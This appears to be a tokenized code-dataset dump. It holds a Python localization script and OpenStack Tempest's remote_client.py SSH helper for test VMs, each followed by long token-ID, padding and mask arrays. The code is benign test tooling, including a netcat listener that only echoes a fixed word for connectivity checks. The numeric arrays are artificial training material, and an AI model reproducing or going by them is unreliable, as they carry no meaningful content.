# Licensed under The MIT License. # For full copyright and license information, please see the LICENSE.txt. import os import sys import codecs warning = "<!-- Generated automatically by make_l10n.py. Think twice before edit. -->" if (4 != len(sys.argv)): print("Usage:") print("./make_l10n.py <source directory> <destination directory> <directory with *.l10n files>") exit() src_dir, dst_dir, l10n_dir = sys.argv[1], sys.argv[2], sys.argv[3] def getFilePath(dir, file_name): return (dir if ("/" == dir[-1]) else dir + "/") + file_name def getLocalizationFilePath(l10n_dir, file_name): # Set extension to l10n. temp_list = file_name.split(".") if (len(temp_list) > 1): temp_list[-1] = "l10n" else: temp_list.append("l10n") l10n_file_name = ".".join(temp_list) return getFilePath(l10n_dir, l10n_file_name) ORIGINAL_STR_EXPECTED = 1 TRANSLATED_STR_EXPECTED = 2 SEPARATOR_STR_EXPECTED = 3 def parseLocalizationFile(l10n_file_path): l10n_pattern = {} try: l10n_file = codecs.open(l10n_file_path, "r", encoding="utf-8") status = ORIGINAL_STR_EXPECTED original_str = "" for line in l10n_file: if ('#' == line[0]): continue # Skip comment line. if (ORIGINAL_STR_EXPECTED == status): original_str = line.strip() if ("" == original_str): continue # Skip another separator line. status = TRANSLATED_STR_EXPECTED elif (TRANSLATED_STR_EXPECTED == status): translated_str = line.strip() l10n_pattern[original_str] = translated_str status = SEPARATOR_STR_EXPECTED elif (SEPARATOR_STR_EXPECTED == status): if ("" != line.strip()): l10n_file.close() print("Bad *.l10n file (no separate line).") return {} status = ORIGINAL_STR_EXPECTED l10n_file.close() if (TRANSLATED_STR_EXPECTED == status): print("Bad *.l10n file.") return {} except IOError as e: print("No .l10n file.") return l10n_pattern def makeLocalization(file_name): # Open files. src = codecs.open(getFilePath(src_dir, file_name), "r", encoding="utf-8") dst = codecs.open(getFilePath(dst_dir, file_name), "w+", encoding="utf-8") dst.write(warning + "\n\n") # Replace. l10n_pattern = parseLocalizationFile(getLocalizationFilePath(l10n_dir, file_name)) for line in src: for original_str, translated_str in l10n_pattern.items(): line = line.replace(original_str, translated_str) dst.write(line) # Close files. src.close() dst.close() for tmpl_file_name in os.listdir(src_dir): print(tmpl_file_name + "...") makeLocalization(tmpl_file_name)
mit
[ 3, 3909, 1334, 710, 10697, 844, 14, 199, 3, 2104, 2615, 4248, 436, 4190, 2556, 12, 8749, 1937, 314, 5113, 14, 2424, 14, 199, 646, 747, 199, 646, 984, 199, 646, 6010, 199, 3764, 275, 3886, 17722, 17065, 5847, 701, 1852, 63, 76, 709, 78, 14, 647, 14, 3868, 2292, 13373, 2544, 5283, 14, 1553, 4335, 421, 199, 692, 334, 20, 1137, 822, 8, 1274, 14, 3020, 2298, 272, 870, 480, 7692, 9107, 272, 870, 28615, 1875, 63, 76, 709, 78, 14, 647, 665, 1365, 2082, 30, 665, 6881, 2082, 30, 665, 3619, 543, 23588, 76, 709, 78, 1584, 9579, 272, 4458, 342, 199, 2164, 63, 694, 12, 5042, 63, 694, 12, 634, 709, 78, 63, 694, 275, 984, 14, 3020, 59, 17, 467, 984, 14, 3020, 59, 18, 467, 984, 14, 3020, 59, 19, 61, 421, 199, 318, 664, 14225, 8, 694, 12, 570, 63, 354, 304, 272, 372, 334, 694, 340, 1689, 6687, 508, 2935, 1988, 17, 566, 587, 2935, 435, 3286, 531, 435, 570, 63, 354, 199, 318, 664, 5339, 2072, 14225, 8, 76, 709, 78, 63, 694, 12, 570, 63, 354, 304, 272, 327, 2494, 3329, 370, 634, 709, 78, 14, 272, 2388, 63, 513, 275, 570, 63, 354, 14, 1294, 15857, 272, 340, 334, 552, 8, 808, 63, 513, 9, 690, 413, 304, 267, 2388, 63, 513, 1988, 17, 61, 275, 298, 76, 709, 78, 2, 272, 587, 26, 267, 2388, 63, 513, 14, 740, 480, 76, 709, 78, 531, 272, 634, 709, 78, 63, 493, 63, 354, 275, 32443, 904, 8, 808, 63, 513, 9, 339, 372, 664, 14225, 8, 76, 709, 78, 63, 694, 12, 634, 709, 78, 63, 493, 63, 354, 9, 421, 199, 20332, 13384, 63, 3027, 63, 22358, 257, 275, 413, 199, 26376, 6989, 63, 3027, 63, 22358, 275, 499, 199, 15828, 63, 3027, 63, 22358, 221, 275, 650, 421, 199, 318, 2198, 5339, 2072, 1173, 8, 76, 709, 78, 63, 493, 63, 515, 304, 272, 634, 709, 78, 63, 3401, 275, 1052, 272, 862, 26, 267, 634, 709, 78, 63, 493, 275, 6010, 14, 1490, 8, 76, 709, 78, 63, 493, 63, 515, 12, 298, 82, 401, 2644, 628, 1624, 13, 24, 531, 267, 2004, 275, 1549, 1277, 13384, 63, 3027, 63, 22358, 267, 3379, 63, 495, 275, 3087, 267, 367, 1004, 315, 634, 709, 78, 63, 493, 26, 288, 340, 661, 19367, 508, 1004, 59, 16, 4682, 355, 1980, 2476, 7861, 327, 8232, 3721, 1004, 14, 288, 340, 334, 20332, 13384, 63, 3027, 63, 22358, 508, 2004, 304, 355, 3379, 63, 495, 275, 1004, 14, 1913, 342, 355, 340, 334, 341, 508, 3379, 63, 495, 304, 490, 1980, 2476, 5185, 327, 8232, 4573, 9432, 1004, 14, 355, 2004, 275, 18634, 4929, 6989, 63, 3027, 63, 22358, 288, 916, 334, 26376, 6989, 63, 3027, 63, 22358, 508, 2004, 304, 355, 14598, 63, 495, 275, 1004, 14, 1913, 342, 355, 634, 709, 78, 63, 3401, 59, 5043, 63, 495, 61, 275, 14598, 63, 495, 355, 2004, 275, 14782, 63, 3027, 63, 22358, 288, 916, 334, 15828, 63, 3027, 63, 22358, 508, 2004, 304, 355, 340, 334, 341, 1137, 1004, 14, 1913, 5109, 490, 634, 709, 78, 63, 493, 14, 1600, 342, 490, 870, 480, 5725, 23588, 76, 709, 78, 570, 334, 889, 7396, 1004, 26744, 490, 372, 1052, 355, 2004, 275, 1549, 1277, 13384, 63, 3027, 63, 22358, 267, 634, 709, 78, 63, 493, 14, 1600, 342, 267, 340, 334, 26376, 6989, 63, 3027, 63, 22358, 508, 2004, 304, 288, 870, 480, 5725, 23588, 76, 709, 78, 570, 2685, 288, 372, 1052, 272, 871, 5925, 465, 325, 26, 267, 870, 480, 1944, 1275, 76, 709, 78, 570, 2685, 272, 372, 634, 709, 78, 63, 3401, 421, 199, 318, 1852, 5339, 2072, 8, 493, 63, 354, 304, 272, 327, 3232, 1584, 14, 272, 2928, 275, 6010, 14, 1490, 8, 362, 14225, 8, 2164, 63, 694, 12, 570, 63, 354, 395, 298, 82, 401, 2644, 628, 1624, 13, 24, 531, 272, 5042, 275, 6010, 14, 1490, 8, 362, 14225, 8, 5119, 63, 694, 12, 570, 63, 354, 395, 298, 87, 22758, 2644, 628, 1624, 13, 24, 531, 272, 5042, 14, 952, 8, 3764, 435, 1867, 78, 60, 78, 531, 272, 327, 14402, 14, 272, 634, 709, 78, 63, 3401, 275, 2198, 5339, 2072, 1173, 8, 362, 5339, 2072, 14225, 8, 76, 709, 78, 63, 694, 12, 570, 63, 354, 430, 272, 367, 1004, 315, 2928, 26, 267, 367, 3379, 63, 495, 12, 14598, 63, 495, 315, 634, 709, 78, 63, 3401, 14, 1744, 837, 288, 1004, 275, 1004, 14, 1814, 8, 5043, 63, 495, 12, 14598, 63, 495, 9, 267, 5042, 14, 952, 8, 604, 9, 272, 327, 15524, 1584, 14, 272, 2928, 14, 1600, 342, 272, 5042, 14, 1600, 342, 421, 199, 509, 9675, 63, 493, 63, 354, 315, 747, 14, 7374, 8, 2164, 63, 694, 304, 272, 870, 8, 11510, 63, 493, 63, 354, 435, 298, 12594, 272, 1852, 5339, 2072, 8, 11510, 63, 493, 63, 354, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 3909, 1334, 710, 10697, 844, 14, 199, 3, 2104, 2615, 4248, 436, 4190, 2556, 12, 8749, 1937, 314, 5113, 14, 2424, 14, 199, 646, 747, 199, 646, 984, 199, 646, 6010, 199, 3764, 275, 3886, 17722, 17065, 5847, 701, 1852, 63, 76, 709, 78, 14, 647, 14, 3868, 2292, 13373, 2544, 5283, 14, 1553, 4335, 421, 199, 692, 334, 20, 1137, 822, 8, 1274, 14, 3020, 2298, 272, 870, 480, 7692, 9107, 272, 870, 28615, 1875, 63, 76, 709, 78, 14, 647, 665, 1365, 2082, 30, 665, 6881, 2082, 30, 665, 3619, 543, 23588, 76, 709, 78, 1584, 9579, 272, 4458, 342, 199, 2164, 63, 694, 12, 5042, 63, 694, 12, 634, 709, 78, 63, 694, 275, 984, 14, 3020, 59, 17, 467, 984, 14, 3020, 59, 18, 467, 984, 14, 3020, 59, 19, 61, 421, 199, 318, 664, 14225, 8, 694, 12, 570, 63, 354, 304, 272, 372, 334, 694, 340, 1689, 6687, 508, 2935, 1988, 17, 566, 587, 2935, 435, 3286, 531, 435, 570, 63, 354, 199, 318, 664, 5339, 2072, 14225, 8, 76, 709, 78, 63, 694, 12, 570, 63, 354, 304, 272, 327, 2494, 3329, 370, 634, 709, 78, 14, 272, 2388, 63, 513, 275, 570, 63, 354, 14, 1294, 15857, 272, 340, 334, 552, 8, 808, 63, 513, 9, 690, 413, 304, 267, 2388, 63, 513, 1988, 17, 61, 275, 298, 76, 709, 78, 2, 272, 587, 26, 267, 2388, 63, 513, 14, 740, 480, 76, 709, 78, 531, 272, 634, 709, 78, 63, 493, 63, 354, 275, 32443, 904, 8, 808, 63, 513, 9, 339, 372, 664, 14225, 8, 76, 709, 78, 63, 694, 12, 634, 709, 78, 63, 493, 63, 354, 9, 421, 199, 20332, 13384, 63, 3027, 63, 22358, 257, 275, 413, 199, 26376, 6989, 63, 3027, 63, 22358, 275, 499, 199, 15828, 63, 3027, 63, 22358, 221, 275, 650, 421, 199, 318, 2198, 5339, 2072, 1173, 8, 76, 709, 78, 63, 493, 63, 515, 304, 272, 634, 709, 78, 63, 3401, 275, 1052, 272, 862, 26, 267, 634, 709, 78, 63, 493, 275, 6010, 14, 1490, 8, 76, 709, 78, 63, 493, 63, 515, 12, 298, 82, 401, 2644, 628, 1624, 13, 24, 531, 267, 2004, 275, 1549, 1277, 13384, 63, 3027, 63, 22358, 267, 3379, 63, 495, 275, 3087, 267, 367, 1004, 315, 634, 709, 78, 63, 493, 26, 288, 340, 661, 19367, 508, 1004, 59, 16, 4682, 355, 1980, 2476, 7861, 327, 8232, 3721, 1004, 14, 288, 340, 334, 20332, 13384, 63, 3027, 63, 22358, 508, 2004, 304, 355, 3379, 63, 495, 275, 1004, 14, 1913, 342, 355, 340, 334, 341, 508, 3379, 63, 495, 304, 490, 1980, 2476, 5185, 327, 8232, 4573, 9432, 1004, 14, 355, 2004, 275, 18634, 4929, 6989, 63, 3027, 63, 22358, 288, 916, 334, 26376, 6989, 63, 3027, 63, 22358, 508, 2004, 304, 355, 14598, 63, 495, 275, 1004, 14, 1913, 342, 355, 634, 709, 78, 63, 3401, 59, 5043, 63, 495, 61, 275, 14598, 63, 495, 355, 2004, 275, 14782, 63, 3027, 63, 22358, 288, 916, 334, 15828, 63, 3027, 63, 22358, 508, 2004, 304, 355, 340, 334, 341, 1137, 1004, 14, 1913, 5109, 490, 634, 709, 78, 63, 493, 14, 1600, 342, 490, 870, 480, 5725, 23588, 76, 709, 78, 570, 334, 889, 7396, 1004, 26744, 490, 372, 1052, 355, 2004, 275, 1549, 1277, 13384, 63, 3027, 63, 22358, 267, 634, 709, 78, 63, 493, 14, 1600, 342, 267, 340, 334, 26376, 6989, 63, 3027, 63, 22358, 508, 2004, 304, 288, 870, 480, 5725, 23588, 76, 709, 78, 570, 2685, 288, 372, 1052, 272, 871, 5925, 465, 325, 26, 267, 870, 480, 1944, 1275, 76, 709, 78, 570, 2685, 272, 372, 634, 709, 78, 63, 3401, 421, 199, 318, 1852, 5339, 2072, 8, 493, 63, 354, 304, 272, 327, 3232, 1584, 14, 272, 2928, 275, 6010, 14, 1490, 8, 362, 14225, 8, 2164, 63, 694, 12, 570, 63, 354, 395, 298, 82, 401, 2644, 628, 1624, 13, 24, 531, 272, 5042, 275, 6010, 14, 1490, 8, 362, 14225, 8, 5119, 63, 694, 12, 570, 63, 354, 395, 298, 87, 22758, 2644, 628, 1624, 13, 24, 531, 272, 5042, 14, 952, 8, 3764, 435, 1867, 78, 60, 78, 531, 272, 327, 14402, 14, 272, 634, 709, 78, 63, 3401, 275, 2198, 5339, 2072, 1173, 8, 362, 5339, 2072, 14225, 8, 76, 709, 78, 63, 694, 12, 570, 63, 354, 430, 272, 367, 1004, 315, 2928, 26, 267, 367, 3379, 63, 495, 12, 14598, 63, 495, 315, 634, 709, 78, 63, 3401, 14, 1744, 837, 288, 1004, 275, 1004, 14, 1814, 8, 5043, 63, 495, 12, 14598, 63, 495, 9, 267, 5042, 14, 952, 8, 604, 9, 272, 327, 15524, 1584, 14, 272, 2928, 14, 1600, 342, 272, 5042, 14, 1600, 342, 421, 199, 509, 9675, 63, 493, 63, 354, 315, 747, 14, 7374, 8, 2164, 63, 694, 304, 272, 870, 8, 11510, 63, 493, 63, 354, 435, 298, 12594, 272, 1852, 5339, 2072, 8, 11510, 63, 493, 63, 354, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
cisco-openstack/tempest
tempest/common/utils/linux/remote_client.py
2
8848
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import re import time from oslo_log import log as logging from tempest import config from tempest.lib.common.utils.linux import remote_client import tempest.lib.exceptions CONF = config.CONF LOG = logging.getLogger(__name__) class RemoteClient(remote_client.RemoteClient): # TODO(oomichi): Make this class deprecated after migrating # necessary methods to tempest.lib and cleaning # unnecessary methods up from this class. def __init__(self, ip_address, username, password=None, pkey=None, server=None, servers_client=None): """Executes commands in a VM over ssh :param ip_address: IP address to ssh to :param username: ssh username :param password: ssh password (optional) :param pkey: ssh public key (optional) :param server: server dict, used for debugging purposes :param servers_client: servers client, used for debugging purposes """ super(RemoteClient, self).__init__( ip_address, username, password=password, pkey=pkey, server=server, servers_client=servers_client, ssh_timeout=CONF.validation.ssh_timeout, connect_timeout=CONF.validation.connect_timeout, console_output_enabled=CONF.compute_feature_enabled.console_output, ssh_shell_prologue=CONF.validation.ssh_shell_prologue, ping_count=CONF.validation.ping_count, ping_size=CONF.validation.ping_size) # Note that this method will not work on SLES11 guests, as they do # not support the TYPE column on lsblk def get_disks(self): # Select root disk devices as shown by lsblk command = 'lsblk -lb --nodeps' output = self.exec_command(command) selected = [] pos = None for l in output.splitlines(): if pos is None and l.find("TYPE") > 0: pos = l.find("TYPE") # Show header line too selected.append(l) # lsblk lists disk type in a column right-aligned with TYPE elif pos is not None and pos > 0 and l[pos:pos + 4] == "disk": selected.append(l) if selected: return "\n".join(selected) else: msg = "'TYPE' column is required but the output doesn't have it: " raise tempest.lib.exceptions.TempestException(msg + output) def list_disks(self): disks_list = self.get_disks() disks_list = [line[0] for line in [device_name.split() for device_name in disks_list.splitlines()][1:]] return disks_list def get_boot_time(self): cmd = 'cut -f1 -d. /proc/uptime' boot_secs = self.exec_command(cmd) boot_time = time.time() - int(boot_secs) return time.localtime(boot_time) def write_to_console(self, message): message = re.sub("([$\\`])", "\\\\\\\\\\1", message) # usually to /dev/ttyS0 cmd = 'sudo sh -c "echo \\"%s\\" >/dev/console"' % message return self.exec_command(cmd) def get_mac_address(self, nic=""): show_nic = "show {nic} ".format(nic=nic) if nic else "" cmd = "ip addr %s| awk '/ether/ {print $2}'" % show_nic return self.exec_command(cmd).strip().lower() def get_nic_name_by_mac(self, address): cmd = "ip -o link | awk '/%s/ {print $2}'" % address nic = self.exec_command(cmd) return nic.strip().strip(":").split('@')[0].lower() def get_nic_name_by_ip(self, address): cmd = "ip -o addr | awk '/%s/ {print $2}'" % address nic = self.exec_command(cmd) LOG.debug('(get_nic_name_by_ip) Command result: %s', nic) return nic.strip().strip(":").split('@')[0].lower() def get_dns_servers(self): cmd = 'cat /etc/resolv.conf' resolve_file = self.exec_command(cmd).strip().split('\n') entries = (l.split() for l in resolve_file) dns_servers = [l[1] for l in entries if len(l) and l[0] == 'nameserver'] return dns_servers def _renew_lease_udhcpc(self, fixed_ip=None): """Renews DHCP lease via udhcpc client. """ file_path = '/var/run/udhcpc.' nic_name = self.get_nic_name_by_ip(fixed_ip) pid = self.exec_command('cat {path}{nic}.pid'. format(path=file_path, nic=nic_name)) pid = pid.strip() cmd = 'sudo /bin/kill -{sig} {pid}'.format(pid=pid, sig='USR1') self.exec_command(cmd) def _renew_lease_dhclient(self, fixed_ip=None): """Renews DHCP lease via dhclient client. """ cmd = "sudo /sbin/dhclient -r && sudo /sbin/dhclient" self.exec_command(cmd) def renew_lease(self, fixed_ip=None, dhcp_client='udhcpc'): """Wrapper method for renewing DHCP lease via given client Supporting: * udhcpc * dhclient """ # TODO(yfried): add support for dhcpcd supported_clients = ['udhcpc', 'dhclient'] if dhcp_client not in supported_clients: raise tempest.lib.exceptions.InvalidConfiguration( '%s DHCP client unsupported' % dhcp_client) if dhcp_client == 'udhcpc' and not fixed_ip: raise ValueError("need to set 'fixed_ip' for udhcpc client") return getattr(self, '_renew_lease_' + dhcp_client)(fixed_ip=fixed_ip) def mount(self, dev_name, mount_path='/mnt'): cmd_mount = 'sudo mount /dev/%s %s' % (dev_name, mount_path) self.exec_command(cmd_mount) def umount(self, mount_path='/mnt'): self.exec_command('sudo umount %s' % mount_path) def make_fs(self, dev_name, fs='ext4'): cmd_mkfs = 'sudo mke2fs -t %s /dev/%s' % (fs, dev_name) try: self.exec_command(cmd_mkfs) except tempest.lib.exceptions.SSHExecCommandFailed: LOG.error("Couldn't mke2fs") cmd_why = 'sudo ls -lR /dev' LOG.info("Contents of /dev: %s", self.exec_command(cmd_why)) raise def nc_listen_host(self, port=80, protocol='tcp'): """Creates persistent nc server listening on the given TCP / UDP port :port: the port to start listening on. :protocol: the protocol used by the server. TCP by default. """ udp = '-u' if protocol.lower() == 'udp' else '' cmd = "sudo nc %(udp)s -p %(port)s -lk -e echo foolish &" % { 'udp': udp, 'port': port} return self.exec_command(cmd) def nc_host(self, host, port=80, protocol='tcp', expected_response=None): """Check connectivity to TCP / UDP port at host via nc :host: an IP against which the connectivity will be tested. :port: the port to check connectivity against. :protocol: the protocol used by nc to send packets. TCP by default. :expected_response: string representing the expected response from server. :raises SSHExecCommandFailed: if an expected response is given and it does not match the actual server response. """ udp = '-u' if protocol.lower() == 'udp' else '' cmd = 'echo "bar" | nc -w 1 %(udp)s %(host)s %(port)s' % { 'udp': udp, 'host': host, 'port': port} response = self.exec_command(cmd) # sending an UDP packet will always succeed. we need to check # the response. if (expected_response is not None and expected_response != response.strip()): raise tempest.lib.exceptions.SSHExecCommandFailed( command=cmd, exit_status=0, stdout=response, stderr='') return response def icmp_check(self, host, nic=None): """Wrapper for icmp connectivity checks""" return self.ping_host(host, nic=nic) def udp_check(self, host, **kwargs): """Wrapper for udp connectivity checks.""" kwargs.pop('nic', None) return self.nc_host(host, protocol='udp', expected_response='foolish', **kwargs) def tcp_check(self, host, **kwargs): """Wrapper for tcp connectivity checks.""" kwargs.pop('nic', None) return self.nc_host(host, **kwargs)
apache-2.0
[ 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 295, 199, 646, 900, 199, 199, 504, 11258, 63, 793, 492, 943, 465, 2050, 199, 199, 504, 24076, 492, 1101, 199, 504, 24076, 14, 773, 14, 2330, 14, 1208, 14, 5135, 492, 3982, 63, 1258, 199, 646, 24076, 14, 773, 14, 3924, 199, 199, 3103, 275, 1101, 14, 3103, 199, 199, 4947, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 17283, 3041, 8, 3846, 63, 1258, 14, 6713, 3041, 304, 339, 327, 3254, 8, 7501, 1158, 73, 304, 4155, 642, 1021, 5906, 2410, 3952, 10417, 272, 327, 4483, 5784, 3102, 370, 24076, 14, 773, 436, 29579, 272, 327, 4483, 23361, 3102, 1536, 687, 642, 1021, 14, 272, 347, 636, 826, 721, 277, 12, 3384, 63, 1562, 12, 3434, 12, 2505, 29, 403, 12, 31130, 29, 403, 12, 326, 1654, 29, 403, 12, 8037, 63, 1258, 29, 403, 304, 267, 408, 4858, 3862, 3718, 315, 282, 7525, 1806, 8635, 398, 520, 635, 3384, 63, 1562, 26, 3531, 2287, 370, 8635, 370, 267, 520, 635, 3434, 26, 8635, 3434, 267, 520, 635, 2505, 26, 8635, 2505, 334, 4144, 9, 267, 520, 635, 31130, 26, 8635, 4575, 790, 334, 4144, 9, 267, 520, 635, 1654, 26, 1654, 1211, 12, 1202, 367, 10201, 12901, 267, 520, 635, 8037, 63, 1258, 26, 8037, 1890, 12, 1202, 367, 10201, 12901, 267, 408, 267, 1613, 8, 6713, 3041, 12, 291, 2843, 826, 721, 288, 3384, 63, 1562, 12, 3434, 12, 2505, 29, 2060, 12, 31130, 29, 23749, 12, 288, 1654, 29, 1000, 12, 8037, 63, 1258, 29, 5871, 63, 1258, 12, 288, 8635, 63, 2593, 29, 3103, 14, 6136, 14, 5510, 63, 2593, 12, 288, 4907, 63, 2593, 29, 3103, 14, 6136, 14, 2242, 63, 2593, 12, 288, 8559, 63, 1199, 63, 3827, 29, 3103, 14, 3357, 63, 4445, 63, 3827, 14, 6614, 63, 1199, 12, 288, 8635, 63, 5641, 63, 496, 793, 310, 29, 3103, 14, 6136, 14, 5510, 63, 5641, 63, 496, 793, 310, 12, 288, 18249, 63, 835, 29, 3103, 14, 6136, 14, 4073, 63, 835, 12, 288, 18249, 63, 890, 29, 3103, 14, 6136, 14, 4073, 63, 890, 9, 339, 327, 3390, 626, 642, 1083, 911, 440, 1736, 641, 428, 11344, 845, 13980, 83, 12, 465, 2985, 886, 272, 327, 440, 2291, 314, 11511, 2763, 641, 9100, 14023, 272, 347, 664, 63, 16203, 8, 277, 304, 267, 327, 9496, 1738, 4543, 7256, 465, 9164, 701, 9100, 14023, 267, 1414, 275, 283, 478, 14023, 446, 6374, 1553, 932, 1190, 7, 267, 1072, 275, 291, 14, 1628, 63, 1531, 8, 1531, 9, 267, 4895, 275, 942, 267, 2086, 275, 488, 267, 367, 634, 315, 1072, 14, 7644, 837, 288, 340, 2086, 365, 488, 436, 634, 14, 1623, 480, 2711, 531, 690, 378, 26, 355, 2086, 275, 634, 14, 1623, 480, 2711, 531, 355, 327, 12968, 1406, 1004, 4634, 355, 4895, 14, 740, 8, 76, 9, 288, 327, 9100, 14023, 5548, 4543, 730, 315, 282, 2763, 2451, 13, 19175, 543, 11511, 288, 916, 2086, 365, 440, 488, 436, 2086, 690, 378, 436, 634, 59, 1712, 26, 1712, 435, 841, 61, 508, 298, 4032, 582, 355, 4895, 14, 740, 8, 76, 9, 398, 340, 4895, 26, 288, 372, 1867, 78, 1674, 904, 8, 5511, 9, 267, 587, 26, 288, 1499, 275, 3546, 2711, 7, 2763, 365, 1415, 1325, 314, 1072, 3181, 1133, 1172, 652, 26, 298, 288, 746, 24076, 14, 773, 14, 3924, 14, 6530, 597, 1726, 8, 1328, 435, 1072, 9, 339, 347, 769, 63, 16203, 8, 277, 304, 267, 17602, 63, 513, 275, 291, 14, 362, 63, 16203, 342, 267, 17602, 63, 513, 275, 359, 604, 59, 16, 61, 367, 1004, 315, 1993, 359, 1782, 63, 354, 14, 1294, 342, 2432, 367, 2243, 63, 354, 315, 17602, 63, 513, 14, 7644, 342, 1527, 17, 21316, 267, 372, 17602, 63, 513, 339, 347, 664, 63, 4930, 63, 521, 8, 277, 304, 267, 2088, 275, 283, 5919, 446, 70, 17, 446, 68, 14, 1182, 4687, 15, 24853, 7, 267, 8498, 63, 4855, 275, 291, 14, 1628, 63, 1531, 8, 1760, 9, 267, 